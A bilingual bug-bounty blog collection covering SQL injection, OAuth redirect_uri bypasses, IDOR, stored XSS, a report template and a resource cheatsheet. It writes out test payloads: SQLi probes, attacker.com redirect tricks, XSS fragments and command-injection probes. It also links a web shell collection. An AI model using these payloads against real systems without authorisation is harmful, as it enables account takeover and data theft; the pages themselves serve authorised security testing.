Un input sin sanear llega a una consulta SQL y altera su lógica — desde una tautología que devuelve filas de más, hasta consultas ciegas y apiladas que exfiltran datos carácter a carácter.
## Por qué importa
Sigue siendo una de las categorías de más severidad disponibles: un solo parámetro inyectable puede significar lectura/escritura completa de la base de datos, y en ocasiones ejecución remota de código a través de funcionalidades del propio motor.
## Dónde buscar
- Cualquier parámetro que alimente una búsqueda, filtro, orden o lookup — incluyendo los que no se ven en la UI
- Campos POST ocultos, claves del JSON, cabeceras HTTP (
```text
User-Agent
```
,
```text
X-Forwarded-For
```
), y en ocasiones los propios nombres de parámetro
## Cómo lo pruebo
1. Encuentra un parámetro que plausiblemente toque una base de datos — búsqueda, filtro, orden, lookup por ID.
2. Envía una comilla simple y comprueba si rompe la respuesta: mensaje de error, página en blanco, o un código de estado distinto.
3. Prueba un par booleano —
```sql
... AND 1=1
```
frente a
```sql
... AND 1=2
```
— y compara las dos respuestas.
4. ¿Sin diferencia visible? Pasa a ciego basado en tiempo: un equivalente de
```sql
WAITFOR DELAY
```
/
```sql
SLEEP()
```
y mide el tiempo de respuesta.
5. Una vez confirmado, mapea el tipo de inyección — basada en error, union, ciega booleana, ciega por tiempo — y extrae información de schema (nombres de tabla/columna) antes de tocar filas de usuarios reales.
## Checklist de hunting
- Probada una comilla simple buscando romper la sintaxis
- Probado un par booleano verdadero/falso y comparadas las respuestas
- Probado ciego por tiempo si no hubo diferencia visible
- Probados campos ocultos y cabeceras, no solo parámetros visibles de la query
- Confirmado el tipo de inyección antes de extraer datos reales
- Parado en la prueba a nivel de schema, sin volcar tablas de usuarios innecesariamente
## Evidencias para el reporte
- Petición/respuesta de referencia
- Petición con el payload booleano-verdadero y su respuesta
- Petición con el payload booleano-falso y su respuesta
- Prueba de tiempos para los casos ciegos
- Dato mínimo a nivel de schema que demuestre el impacto (p. ej. versión de la base de datos), no un volcado completo
## Mitigación
- Consultas parametrizadas / prepared statements en todas partes
- Cuentas de base de datos con mínimo privilegio
- Validación de input como defensa en profundidad, nunca como único control
- Mensajes de error genéricos — no filtrar la estructura de la query
### OAuth & Authentication Flaws
URL: https://thehacksparrow.com/vulnerability-pattern-oauth-auth/
Last updated: 2026-09-23T10:55:39.000Z
## What it is
Two related roads to the same outcome — full account takeover. One: broken password reset, email change, OTP verification or session handling. Two: manipulating an OAuth
```text
redirect_uri
```
parameter so the authorization code gets redirected to a domain you control instead of the legitimate app.
## Why it matters
Account takeover is consistently one of the highest-value bug classes: it's rarely 'just' one field or one resource, it's the whole account, including everything downstream of it (billing, data, other integrations).
## Where to look
- Password reset, email/phone change, OTP verification, magic links, session management
- Any
```text
/authorize
```
,
```text
/oauth/authorize
```
,
```text
/connect/authorize
```
endpoint with
```text
client_id
```
/
```text
redirect_uri
```
/
```text
state
```
parameters
## How I test it
1. Map every 'alternate path' in the auth flow: forgot password, no access to email, resend code, expired code, login with Google/SSO.
2. Test reset-token reuse across sessions, reusing a token from one account on another, changing email without confirmation, changing password without the current one.
3. For OAuth: capture the request containing
```text
redirect_uri=
```
, decode it, and try subdomain swaps, the
```text
@
```
trick (
```text
https://trusted.com@attacker.com
```
), fragment tricks (
```text
https://attacker.com#@trusted.com
```
), and single-vs-double URL encoding mismatches — the goal is a value the server validates as legitimate but the browser resolves to a different host.
4. Confirm end to end: does the authorization code actually land on an attacker-controlled origin, not just 'the validation message went away'?
## Hunting checklist
- Two accounts to test victim/attacker roles
- Tested reset-token reuse and cross-account reuse
- Tested email/password change without the expected confirmation
- Mapped every redirect\_uri-accepting endpoint
- Tried subdomain, @, fragment and double-encoding bypasses
- Confirmed the code/token actually reaches an external origin, end to end
## Evidence to collect
- Original OAuth/reset request
- Modified request
- 302/301 response showing the redirect
- Final URL the browser lands on
- Proof the code/token reached the attacker's domain
## Recommended fix
- Exact redirect\_uri matching, no wildcard subdomains
- Normalize and decode URLs once before validating — never decode again afterward
- Invalidate all sessions on password change
- Expire and single-use reset tokens, scoped to one account
## Qué es
Dos caminos relacionados al mismo destino — la toma total de una cuenta. Uno: recuperación de contraseña, cambio de email, verificación OTP o gestión de sesiones mal hechas. Dos: manipular el parámetro
```text
redirect_uri
```
de OAuth para que el authorization code se redirija a un dominio que controlas en vez de a la app legítima.
## Por qué importa
El account takeover es, de forma constante, una de las categorías de más valor: casi nunca es 'solo' un campo o un recurso, es la cuenta entera, con todo lo que cuelga de ella (facturación, datos, otras integraciones).
## Dónde buscar
- Recuperación de contraseña, cambio de email/teléfono, verificación OTP, magic links, gestión de sesiones
- Cualquier endpoint
```text
/authorize
```
,
```text
/oauth/authorize
```
,
```text
/connect/authorize
```
con parámetros
```text
client_id
```
/
```text
redirect_uri
```
/
```text
state
```
## Cómo lo pruebo
1. Mapea cada 'camino alternativo' del flujo de auth: olvidé mi contraseña, no tengo acceso al email, reenviar código, código caducado, login con Google/SSO.
2. Prueba reutilizar el token de reset entre sesiones, reutilizar el token de una cuenta en otra, cambiar el email sin confirmar, cambiar la contraseña sin la actual.
3. Para OAuth: captura la petición con
```text
redirect_uri=
```
, decodifícala, y prueba cambios de subdominio, el truco de
```text
@
```
(
```text
https://trusted.com@attacker.com
```
), trucos con fragmento (
```text
https://attacker.com#@trusted.com
```
), y discrepancias entre encoding simple y doble — el objetivo es un valor que el servidor valide como legítimo pero que el navegador resuelva a otro host.
4. Confirma de extremo a extremo: ¿el authorization code llega de verdad a un origen controlado por el atacante, o solo desapareció el mensaje de validación?
## Checklist de hunting
- Dos cuentas para probar roles víctima/atacante
- Probada la reutilización del token de reset y entre cuentas
- Probado cambio de email/contraseña sin la confirmación esperada
- Mapeados todos los endpoints que aceptan redirect\_uri
- Probados bypasses de subdominio, @, fragmento y doble encoding
- Confirmado que el code/token llega de verdad a un origen externo, extremo a extremo
## Evidencias para el reporte
- Petición OAuth/reset original
- Petición modificada
- Respuesta 302/301 mostrando la redirección
- URL final donde aterriza el navegador
- Prueba de que el code/token llegó al dominio del atacante
## Mitigación
- Coincidencia exacta de redirect\_uri, sin subdominios comodín
- Normalizar y decodificar la URL una sola vez antes de validar — nunca volver a decodificar después
- Invalidar todas las sesiones al cambiar la contraseña
- Tokens de reset caducables y de un solo uso, ligados a una cuenta
### IDOR & Broken Access Control
URL: https://thehacksparrow.com/vulnerability-pattern-idor-bac/
Last updated: 2026-09-23T10:55:40.000Z
## What it is
IDOR: you access another user's data just by changing an identifier —
```text
GET /api/invoices/1001
```
becomes
```text
GET /api/invoices/1002
```
and it's not your invoice. Broken Access Control: same idea one level up — you can call an action your role shouldn't be allowed to perform at all, like a normal user successfully hitting
```text
POST /api/admin/delete-user
```
.
## Why it matters
It's the single most common high-impact class in bug bounty, and it needs no exploit — just a browser, two accounts, and the willingness to change a number. That combination of low effort and high impact is exactly why programs take it seriously.
## Where to look
- Any endpoint that addresses a resource by ID: invoices, orders, files, tickets, projects, messages, organizations
- Admin panels, team/workspace management, billing, invitations, role settings
## How I test it
1. Create two accounts — A and B. Non-negotiable.
2. With A, create or touch a resource; capture the request in Burp.
3. Note the identifier — numeric ID, UUID, slug.
4. Switch to B's session, replay the exact same request but with A's identifier.
5. If B can read, edit or delete A's resource: IDOR. If a normal account successfully performs an admin-only action: Broken Access Control.
6. Repeat across every resource type and every verb (GET/PUT/PATCH/DELETE), not just the first one that worked.
## Hunting checklist
- Second test account created
- Resource created and request captured
- Identifier replayed under a different account
- Tested read AND write/delete, not just read
- Tested at least one admin-only action with a normal account
- Checked whether the response is 200 with real data, not just 200 with an empty body
## Evidence to collect
- Request as account A
- Same request replayed as account B
- Response proving B could read/modify/delete A's resource
- For BAC: the privileged request and the unprivileged replay side by side
## Recommended fix
- Check ownership/role server-side on every request, not just on the ones the UI exposes
- Use non-guessable identifiers where feasible, but never rely on that alone
- Return 403/404 consistently instead of leaking existence via different error codes
## Qué es
IDOR: accedes a los datos de otro usuario cambiando un identificador —
```text
GET /api/invoices/1001
```
pasa a
```text
GET /api/invoices/1002
```
y no es tu factura. Broken Access Control: la misma idea un nivel más arriba — puedes llamar a una acción que tu rol no debería permitir en absoluto, como un usuario normal ejecutando con éxito
```text
POST /api/admin/delete-user
```
.
## Por qué importa
Es, con diferencia, la familia de más impacto y más frecuente en bug bounty, y no requiere ningún exploit — solo un navegador, dos cuentas y las ganas de cambiar un número. Esa combinación de poco esfuerzo y mucho impacto es exactamente por lo que los programas se lo toman en serio.
## Dónde buscar
- Cualquier endpoint que referencia un recurso por ID: facturas, pedidos, archivos, tickets, proyectos, mensajes, organizaciones
- Paneles de admin, gestión de equipos/workspaces, facturación, invitaciones, configuración de roles
## Cómo lo pruebo
1. Crea dos cuentas — A y B. No es opcional.
2. Con A, crea o toca un recurso; captura la petición en Burp.
3. Anota el identificador — ID numérico, UUID, slug.
4. Cambia a la sesión de B, repite exactamente la misma petición pero con el identificador de A.
5. Si B puede leer, editar o borrar el recurso de A: IDOR. Si una cuenta normal ejecuta con éxito una acción exclusiva de admin: Broken Access Control.
6. Repite con cada tipo de recurso y cada verbo (GET/PUT/PATCH/DELETE), no solo con el primero que funcionó.
## Checklist de hunting
- Segunda cuenta de prueba creada
- Recurso creado y petición capturada
- Identificador reenviado con otra cuenta
- Probado lectura Y escritura/borrado, no solo lectura
- Probada al menos una acción exclusiva de admin con cuenta normal
- Comprobado si la respuesta es 200 con datos reales, no solo 200 con cuerpo vacío
## Evidencias para el reporte
- Petición como cuenta A
- Misma petición reenviada como cuenta B
- Respuesta que prueba que B pudo leer/modificar/borrar el recurso de A
- Para BAC: la petición privilegiada y la reenviada sin privilegios, una junto a la otra
## Mitigación
- Comprobar propiedad/rol en servidor en cada petición, no solo en las que expone la UI
- Usar identificadores no adivinables donde sea viable, pero nunca depender solo de eso
- Devolver 403/404 de forma consistente en vez de filtrar existencia con códigos de error distintos
### XSS
URL: https://thehacksparrow.com/vulnerability-pattern-xss/
Last updated: 2026-09-23T10:55:41.000Z
## What it is
Stored XSS happens when you can save HTML/JavaScript into the application and it executes for anyone who later views that content — not just for you.
```html
```
saved as a project name, firing whenever someone else opens that project, is the classic shape of it.
## Why it matters
It's worse than reflected XSS because it's persistent, hits other users (sometimes admins), can fire repeatedly, and — this is the part people miss — the payload is bound to the *resource*, not the attacker's account. Revoking the attacker's access doesn't remove the payload.
## Where to look
- Name / title / description / comment / bio fields
- Company, job title, tags, filenames, project/campaign/template/workflow names
- Especially in SaaS apps with collaboration, invites, shared workspaces, or resource duplication
## How I test it
1. List every field you can write to.
2. Confirm HTML actually renders with a harmless probe like
```html
test
```
.
3. Try a non-destructive payload, and variants for different contexts: inside an attribute (
```html
">
```
), inside a JS string (
```javascript
'-alert(1)-'
```
), or after a broken tag.
4. Save, then test persistence: reload, log out and back in, open the resource from a different account, share it, duplicate/export/import it, check notifications and any emails it triggers.
5. Check every view the field surfaces in — detail page, list, search, admin panel, preview, edit modal, history. A field sanitized in one view is often raw in another.
## Hunting checklist
- Mapped every writable field
- Confirmed HTML rendering with a harmless probe
- Tried a basic payload and an attribute-breaking variant
- Reloaded and re-opened from a different account
- Tried duplicate/export/import flows
- Checked if the payload survives revoking the attacker's access
- Checked innerHTML / dangerouslySetInnerHTML / v-html usage if source is visible
## Evidence to collect
- Vulnerable field
- Payload used
- Where it's stored
- Where it fires
- Attacker account
- Victim account
- Proof it runs in the victim's session
- Proof of persistence across reload/duplicate/revoke
## Recommended fix
- Escape HTML on output
- Sanitize input if HTML is intentionally allowed
- Use
```javascript
textContent
```
instead of
```javascript
innerHTML
```
- Strong CSP
- Validate on both frontend and backend
- Re-sanitize on duplicate/export/import, not just on first save
## Qué es
Un Stored XSS ocurre cuando consigues guardar HTML/JavaScript en la aplicación y se ejecuta para cualquiera que vea después ese contenido — no solo para ti.
```html
```
guardado como nombre de un proyecto, disparándose cada vez que otro abre ese proyecto, es la forma clásica.
## Por qué importa
Es peor que un XSS reflejado porque es persistente, afecta a otros usuarios (a veces admins), puede dispararse repetidamente y — esto es lo que se pasa por alto — el payload queda vinculado al *recurso*, no a la cuenta del atacante. Revocar el acceso del atacante no elimina el payload.
## Dónde buscar
- Campos de nombre / título / descripción / comentario / bio
- Empresa, cargo, etiquetas, nombres de archivo, nombres de proyecto/campaña/plantilla/workflow
- Especialmente en SaaS con colaboración, invitaciones, workspaces compartidos o duplicado de recursos
## Cómo lo pruebo
1. Haz una lista de todos los campos donde puedas escribir.
2. Confirma que el HTML se renderiza con una prueba inofensiva como
```html
test
```
.
3. Prueba un payload no destructivo, y variantes para distintos contextos: dentro de un atributo (
```html
">
```
), dentro de un string JS (
```javascript
'-alert(1)-'
```
), o tras una etiqueta rota.
4. Guarda y prueba persistencia: recarga, cierra sesión y vuelve a entrar, abre el recurso desde otra cuenta, compártelo, duplícalo/expórtalo/impórtalo, revisa notificaciones y los emails que dispare.
5. Revisa cada vista donde aparezca el campo — detalle, listado, buscador, panel admin, preview, modal de edición, historial. Un campo saneado en una vista muchas veces está en crudo en otra.
## Checklist de hunting
- Mapeados todos los campos editables
- Confirmado el renderizado de HTML con una prueba inofensiva
- Probado un payload básico y una variante que rompe atributo
- Recargado y reabierto desde otra cuenta
- Probado duplicar/exportar/importar
- Comprobado si el payload sobrevive a revocar el acceso del atacante
- Revisado el uso de innerHTML / dangerouslySetInnerHTML / v-html si hay código visible
## Evidencias para el reporte
- Campo vulnerable
- Payload usado
- Dónde se guarda
- Dónde se ejecuta
- Cuenta atacante
- Cuenta víctima
- Prueba de que se ejecuta en la sesión de la víctima
- Prueba de persistencia tras recarga/duplicado/revocación
## Mitigación
- Escapar el HTML en la salida
- Sanear el input si el HTML es intencional
- Usar
```javascript
textContent
```
en vez de
```javascript
innerHTML
```
- CSP fuerte
- Validar en frontend y backend
- Re-sanear en duplicado/exportación/importación, no solo al guardar la primera vez
### The Report Template I Actually Use
URL: https://thehacksparrow.com/bug-bounty-report-template/
Last updated: 2026-09-23T10:55:42.000Z
Two versions of the same template: a quick one for straightforward findings, and a full one for anything that needs a stronger case built around it. I pick one depending on how much convincing the finding needs.
## Quick template
Good enough for most reports — clean, fast to fill in, and it forces you to state the impact in plain words instead of just describing the bug.
```markdown
# Vulnerability title
Example: Open Redirect via whitelist bypass using @ in the URL
## Summary
Short description of the issue.
## Affected asset
- Domain: https://example.com
- Endpoint: /redirect
## Steps to reproduce
1. Go to: https://example.com/redirect?url=https://trusted.com
2. Modify the parameter: https://example.com/redirect?url=https://trusted.com@attacker.com
3. Observe the redirect.
## Actual result
The user is redirected to attacker.com.
## Expected result
The application should block redirects to external domains.
## Impact
Always explain real-world impact — e.g. this can be used for phishing, since the
initial link belongs to a legitimate domain.
## Payload used
https://trusted.com@attacker.com
```
## Full template
For anything non-obvious: business logic, chained bugs, or a program that's known to be picky about severity. The root-cause and severity-estimation sections do a lot of the persuasion work here.
```markdown
# [VULNERABILITY TYPE] – [CLEAR, SPECIFIC DESCRIPTION]
Example: Stored XSS in the "title" field allows code execution in an authenticated session
## 1. Summary
There is a [TYPE] vulnerability in [ENDPOINT / FUNCTION] that allows an attacker to
[MAIN IMPACT], caused by [ROOT CAUSE], which leads to [CONSEQUENCE].
## 2. Affected asset
- Domain: https://example.com
- Endpoint: /path/endpoint
- Feature: (e.g. project creation, login, chat...)
- Vulnerable parameter: (if applicable)
## 3. Root cause
- [ ] Missing input validation
- [ ] Incorrect validation (e.g. contains / startsWith instead of exact match)
- [ ] Missing sanitization
- [ ] Unsafe function usage (innerHTML, eval, etc.)
- [ ] Data exposed on the frontend
- [ ] Insecure backend logic
Technical explanation: describe exactly what's wrong, as if explaining it to a developer.
## 4. Technical details
Describe how the vulnerability works: request flow, how the input is processed, where
validation fails.
## 5. Attack scenario
1. [action 1]
2. [action 2]
3. [action 3]
Final result: [what the attacker achieves]
## 6. Steps to reproduce
1. Log in with a valid account (if applicable)
2. Go to: https://example.com/xxxx
3. Enter the following payload: [PAYLOAD]
4. Save / submit / execute
5. Observe the result
Steps must be CLEAR and REPEATABLE.
## 7. Proof of concept
Request:
GET /endpoint?param=payload HTTP/1.1
Host: example.com
Payload: [PUT PAYLOAD HERE]
Response:
HTTP/1.1 302 Found
Location: https://attacker.com
## 8. Impact
- [ ] Code execution in the user's session
- [ ] Redirect to malicious domains
- [ ] Access to sensitive data
- [ ] Identity impersonation
- [ ] Abuse of internal functionality
Explain clearly, as if the triager knew nothing about the bug.
## 9. Severity estimation
- Likelihood: [Low / Medium / High]
- Impact: [Low / Medium / High]
- Estimated severity: [Low / Medium / High / Critical]
## 10. Evidence
- Browser screenshot
- Request screenshot
- Response screenshot
- Logs (if applicable)
Everything must clearly demonstrate the bug.
## 11. Suggested fix
- Validate inputs correctly
- Sanitize data before rendering it
- Use safe functions (textContent instead of innerHTML)
- Never trust client-side data
- Implement security policies (CSP, backend validation)
## 12. Additional notes
- Reproducible without privileges (if applicable)
- Doesn't require authentication (if applicable)
- Affects multiple endpoints (if applicable)
- Can be chained with other vulnerabilities
## 13. Validation checklist (before submitting)
- [ ] The bug actually works
- [ ] The steps are clear
- [ ] The impact is well explained
- [ ] Nothing is missing
- [ ] It's not a false positive
- [ ] It's in scope
- [ ] It's not expected behavior
```
> The one thing both versions force you to do: explain impact in terms a triager who's never seen the app can understand, not just "it executes alert(1)".
Dos versiones de la misma plantilla: una rápida para hallazgos directos, y una completa para todo lo que necesite un caso mejor argumentado. Elijo una u otra según cuánto haya que convencer con el hallazgo.
## Plantilla rápida
Suficiente para la mayoría de reportes — limpia, rápida de rellenar, y obliga a explicar el impacto con palabras claras en vez de solo describir el bug.
```markdown
# Vulnerability title
Example: Open Redirect via whitelist bypass using @ in the URL
## Summary
Short description of the issue.
## Affected asset
- Domain: https://example.com
- Endpoint: /redirect
## Steps to reproduce
1. Go to: https://example.com/redirect?url=https://trusted.com
2. Modify the parameter: https://example.com/redirect?url=https://trusted.com@attacker.com
3. Observe the redirect.
## Actual result
The user is redirected to attacker.com.
## Expected result
The application should block redirects to external domains.
## Impact
Always explain real-world impact — e.g. this can be used for phishing, since the
initial link belongs to a legitimate domain.
## Payload used
https://trusted.com@attacker.com
```
## Plantilla completa
Para todo lo que no sea obvio: lógica de negocio, bugs encadenados, o un programa que se sabe quisquilloso con la severidad. Las secciones de causa raíz y estimación de severidad hacen buena parte del trabajo de convencer.
```markdown
# [VULNERABILITY TYPE] – [CLEAR, SPECIFIC DESCRIPTION]
Example: Stored XSS in the "title" field allows code execution in an authenticated session
## 1. Summary
There is a [TYPE] vulnerability in [ENDPOINT / FUNCTION] that allows an attacker to
[MAIN IMPACT], caused by [ROOT CAUSE], which leads to [CONSEQUENCE].
## 2. Affected asset
- Domain: https://example.com
- Endpoint: /path/endpoint
- Feature: (e.g. project creation, login, chat...)
- Vulnerable parameter: (if applicable)
## 3. Root cause
- [ ] Missing input validation
- [ ] Incorrect validation (e.g. contains / startsWith instead of exact match)
- [ ] Missing sanitization
- [ ] Unsafe function usage (innerHTML, eval, etc.)
- [ ] Data exposed on the frontend
- [ ] Insecure backend logic
Technical explanation: describe exactly what's wrong, as if explaining it to a developer.
## 4. Technical details
Describe how the vulnerability works: request flow, how the input is processed, where
validation fails.
## 5. Attack scenario
1. [action 1]
2. [action 2]
3. [action 3]
Final result: [what the attacker achieves]
## 6. Steps to reproduce
1. Log in with a valid account (if applicable)
2. Go to: https://example.com/xxxx
3. Enter the following payload: [PAYLOAD]
4. Save / submit / execute
5. Observe the result
Steps must be CLEAR and REPEATABLE.
## 7. Proof of concept
Request:
GET /endpoint?param=payload HTTP/1.1
Host: example.com
Payload: [PUT PAYLOAD HERE]
Response:
HTTP/1.1 302 Found
Location: https://attacker.com
## 8. Impact
- [ ] Code execution in the user's session
- [ ] Redirect to malicious domains
- [ ] Access to sensitive data
- [ ] Identity impersonation
- [ ] Abuse of internal functionality
Explain clearly, as if the triager knew nothing about the bug.
## 9. Severity estimation
- Likelihood: [Low / Medium / High]
- Impact: [Low / Medium / High]
- Estimated severity: [Low / Medium / High / Critical]
## 10. Evidence
- Browser screenshot
- Request screenshot
- Response screenshot
- Logs (if applicable)
Everything must clearly demonstrate the bug.
## 11. Suggested fix
- Validate inputs correctly
- Sanitize data before rendering it
- Use safe functions (textContent instead of innerHTML)
- Never trust client-side data
- Implement security policies (CSP, backend validation)
## 12. Additional notes
- Reproducible without privileges (if applicable)
- Doesn't require authentication (if applicable)
- Affects multiple endpoints (if applicable)
- Can be chained with other vulnerabilities
## 13. Validation checklist (before submitting)
- [ ] The bug actually works
- [ ] The steps are clear
- [ ] The impact is well explained
- [ ] Nothing is missing
- [ ] It's not a false positive
- [ ] It's in scope
- [ ] It's not expected behavior
```
> Lo único que ambas versiones obligan a hacer: explicar el impacto en términos que entienda un triager que nunca ha visto la app, no solo "ejecuta alert(1)".
### Bug Bounty Cheatsheet: My Curated Resource Collection
URL: https://thehacksparrow.com/bug-bounty-cheatsheet/
Last updated: 2026-09-23T10:55:43.000Z
My working bookmarks list — reconnaissance, exploitation techniques, checklists and tools, organized by topic. Not a tutorial, a reference: the kind of page I keep open in a tab while hunting.
## Authentication & sessions
- [2FA bypass techniques](https://www.mindmeister.com/1736437018?t=SEeZOmvt01&ref=thehacksparrow.com) (MindMeister)
- [2FA security testing & bypasses](https://medium.com/@iSecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35?ref=thehacksparrow.com)
- [SSO checklist](https://docs.google.com/presentation/d/1bxBL0HyL8pbDUsa00abfbfEoawmx-XsVIkUjF%5FV2-%5FI/mobilepresent?ref=thehacksparrow.com)
- [Login page checklist](https://docs.google.com/presentation/d/1lGMRCYJo9d66A3rIVNbTk3thn76uc9Gyp8Gpu9mZHQ8/mobilepresent?ref=thehacksparrow.com)
- [Password reset checklist](https://docs.google.com/presentation/d/1QzBl3k3n2q44ULyfZgr%5FgPZexj8nF5vD8JrS5AUJRbs/mobilepresent?ref=thehacksparrow.com)
- [Email verification bypass — case study](https://infosecwriteups.com/email-verification-bypass-a-strange-case-f38291866126?ref=thehacksparrow.com)
- JWT: decode & tamper any token you receive, check `alg: none` and expiry handling.
## Access control & cloud
- [403 Forbidden bypass techniques](https://dewangpanchal98.medium.com/403-forbidden-bypass-fc8b5df109b7?ref=thehacksparrow.com)
- [OWASP: testing HTTP methods](https://wiki.owasp.org/index.php/Test%5FHTTP%5FMethods%5F%28OTG-CONFIG-006%29?ref=thehacksparrow.com)
- [Unauthorized uploads on misconfigured S3 buckets](https://alph4byt3.medium.com/testing-for-unauthorized-file-uploads-on-misconfigured-aws-s3-buckets-c114f7653893?ref=thehacksparrow.com)
- [Bypassing & exploiting bucket upload policies](https://labs.detectify.com/2018/08/02/bypassing-exploiting-bucket-upload-policies-signed-urls/?ref=thehacksparrow.com) (Detectify)
- [Firebase database takeover](https://danangtriatmaja.medium.com/firebase-database-takover-b7929bbb62e1?ref=thehacksparrow.com)
- Common admin endpoints to probe: `/dev/register/`, `/stag/register/`, `/dev/login/`
## Injection
- [SQLi on a Bugcrowd private program](https://sapt.medium.com/sqli-on-a-bugcrowd-private-program-17858b57ec61?ref=thehacksparrow.com) — worked example
- [CSV Injection overview](https://www.contextis.com/en/blog/comma-separated-vulnerabilities?ref=thehacksparrow.com)
- [CSV injection — real HackerOne report](https://hackerone.com/reports/928280?ref=thehacksparrow.com)
- [PortSwigger: SSTI overview](https://portswigger.net/web-security/server-side-template-injection?ref=thehacksparrow.com)
- OS command injection payload examples: `ping -n 21 127.0.0.1`, `nslookup -q=cname my.burpcollaborator.net.`
## XSS & client-side
- [Browser XSS filter bypass cheat sheet](https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet?ref=thehacksparrow.com)
- [Stored XSS via file upload](https://medium.com/@vis%5Fhacker/how-i-got-stored-xss-using-file-upload-5c33e19df51e?ref=thehacksparrow.com)
- [XSS through parameter pollution](https://infosecwriteups.com/xss-through-parameter-pollution-9a55da150ab2?ref=thehacksparrow.com)
- [Static analysis of client-side JS](https://blog.appsecco.com/static-analysis-of-client-side-javascript-for-pen-testers-and-bug-bounty-hunters-f1cb1a5d5288?ref=thehacksparrow.com)
- [LinkFinder](https://github.com/GerbenJavado/LinkFinder?ref=thehacksparrow.com) — extract endpoints from JS files
- [jsmon](https://github.com/robre/jsmon?ref=thehacksparrow.com) — monitor JS file changes over time
- [One token to leak them all](https://infosecwriteups.com/one-token-to-leak-them-all-the-story-of-a-8000-npm-token-79b13af182a3?ref=thehacksparrow.com) — an npm token leak story
## SSRF & GraphQL
- [The SSRF Bible](https://docs.google.com/document/u/0/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/mobilebasic?ref=thehacksparrow.com)
- [SSRF bypass, Cloudflare and AWS metadata](https://infosecwriteups.com/an-exciting-journey-to-find-ssrf-bypass-cloudflare-and-extract-aws-metadata-fdb8be0b5f79?ref=thehacksparrow.com)
- [Exploiting GraphQL](https://blog.assetnote.io/2021/08/29/exploiting-graphql/?ref=thehacksparrow.com) (Assetnote)
- [Responsible DoS with web cache poisoning](https://portswigger.net/research/responsible-denial-of-service-with-web-cache-poisoning?ref=thehacksparrow.com) (PortSwigger)
## Recon & enumeration
- [Basic recon guide for bug bounty](https://infosecwriteups.com/guide-to-basic-recon-bug-bounties-recon-728c5242a115?ref=thehacksparrow.com)
- [Finding & exploiting unintended API functionality](https://bendtheory.medium.com/finding-and-exploiting-unintended-functionality-in-main-web-app-apis-6eca3ef000af?ref=thehacksparrow.com)
- Subdomain tools: [Subfinder](https://github.com/projectdiscovery/subfinder?ref=thehacksparrow.com), [Amass](https://github.com/OWASP/Amass?ref=thehacksparrow.com), [Assetfinder](https://github.com/tomnomnom/assetfinder?ref=thehacksparrow.com), [dnscan](https://github.com/rbsec/dnscan?ref=thehacksparrow.com)
- [Subdomain enumeration guide](https://sidxparab.gitbook.io/subdomain-enumeration-guide/introduction/whats-the-need?ref=thehacksparrow.com)
- [reNgine](https://github.com/yogeshojha/rengine?ref=thehacksparrow.com#quick-installation) — automated recon
- [Wordlist collection](https://github.com/heilla/SecurityTesting/blob/master/wordlists/Collection%20of%20wordlists.md?ref=thehacksparrow.com)
- [pyWhat](https://github.com/bee-san/pywhat?ref=thehacksparrow.com) — identify anything (hashes, tokens, formats)
- Dorking decks: [GitHub dorks](https://docs.google.com/presentation/d/1lqBriLkclVwCi4q%5FVhJUXa-GYehLsMp054PzN4qrTn8/mobilepresent?ref=thehacksparrow.com), [search engine dorks](https://docs.google.com/presentation/d/1dBXWUFKXa6gWQNCifN939Wf1ZNTIELlRZ4FhcaHvSOE/mobilepresent?ref=thehacksparrow.com)
## Known CVEs worth re-checking
- [CVE-2020-11022/11023](https://vulnerabledoma.in/jquery%5FhtmlPrefilter%5Fxss.html?ref=thehacksparrow.com) — jQuery XSS
- [CVE-2020-11110](https://ctf-writeup.revers3c.com/challenges/web/CVE-2020-11110/index.html?ref=thehacksparrow.com) — Grafana stored XSS writeup
- CVE-2021-24169 — reflected XSS in a WordPress plugin
- CVE-2021-40875 — improper access control in Gurock TestRail
- [CVE-2021-26084](https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md?ref=thehacksparrow.com) — Confluence RCE writeup
- Grafana: CVE-2020-13379 (DoS), CVE-2020-11110 (stored XSS), CVE-2019-15043 (unauthenticated API), plus default creds & open signup
## Everything else worth bookmarking
- [HackerOne Hacktivity](https://hackerone.com/hacktivity?ref=thehacksparrow.com) and [Bugreader](https://bugreader.com/reports?ref=thehacksparrow.com) — real disclosed reports to learn from
- [Mastering the skills of bug bounty](https://medium.com/swlh/mastering-the-skills-of-bug-bounty-2201eb6a9f4?ref=thehacksparrow.com) (Vickie Li)
- [Awesome oneliner bugbounty](https://github.com/dwisiswant0/awesome-oneliner-bugbounty?ref=thehacksparrow.com#pure-bash-linkfinder) scripts
- [Web shell collection](https://github.com/tennc/webshell/blob/master/README%5FEN.md?ref=thehacksparrow.com) (lab use only)
- Cross-site WebSocket hijacking: [example repo](https://github.com/DeepakPawar95/cswsh?ref=thehacksparrow.com) and [write-up](https://sunilyedla.medium.com/websocket-hijacking-to-steal-session-id-of-victim-users-bca84243830?ref=thehacksparrow.com)
- WordPress recon: `/wp-admin/setup-config.php?step=1`, `/wp-json/wp/v2/users/`, `load-scripts.php`/`load-styles.php` DoS
Mi lista de marcadores de trabajo — reconocimiento, técnicas de explotación, checklists y herramientas, organizadas por tema. No es un tutorial, es una referencia: el tipo de página que mantengo abierta en una pestaña mientras cazo.
## Autenticación y sesiones
- [Técnicas de bypass de 2FA](https://www.mindmeister.com/1736437018?t=SEeZOmvt01&ref=thehacksparrow.com) (MindMeister)
- [Testing de seguridad de 2FA y posibles bypasses](https://medium.com/@iSecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35?ref=thehacksparrow.com)
- [Checklist de SSO](https://docs.google.com/presentation/d/1bxBL0HyL8pbDUsa00abfbfEoawmx-XsVIkUjF%5FV2-%5FI/mobilepresent?ref=thehacksparrow.com)
- [Checklist de página de login](https://docs.google.com/presentation/d/1lGMRCYJo9d66A3rIVNbTk3thn76uc9Gyp8Gpu9mZHQ8/mobilepresent?ref=thehacksparrow.com)
- [Checklist de reseteo de contraseña](https://docs.google.com/presentation/d/1QzBl3k3n2q44ULyfZgr%5FgPZexj8nF5vD8JrS5AUJRbs/mobilepresent?ref=thehacksparrow.com)
- [Bypass de verificación de email — caso de estudio](https://infosecwriteups.com/email-verification-bypass-a-strange-case-f38291866126?ref=thehacksparrow.com)
- JWT: decodifica y manipula cualquier token que recibas, comprueba `alg: none` y el manejo de caducidad.
## Control de acceso y cloud
- [Técnicas de bypass de 403 Forbidden](https://dewangpanchal98.medium.com/403-forbidden-bypass-fc8b5df109b7?ref=thehacksparrow.com)
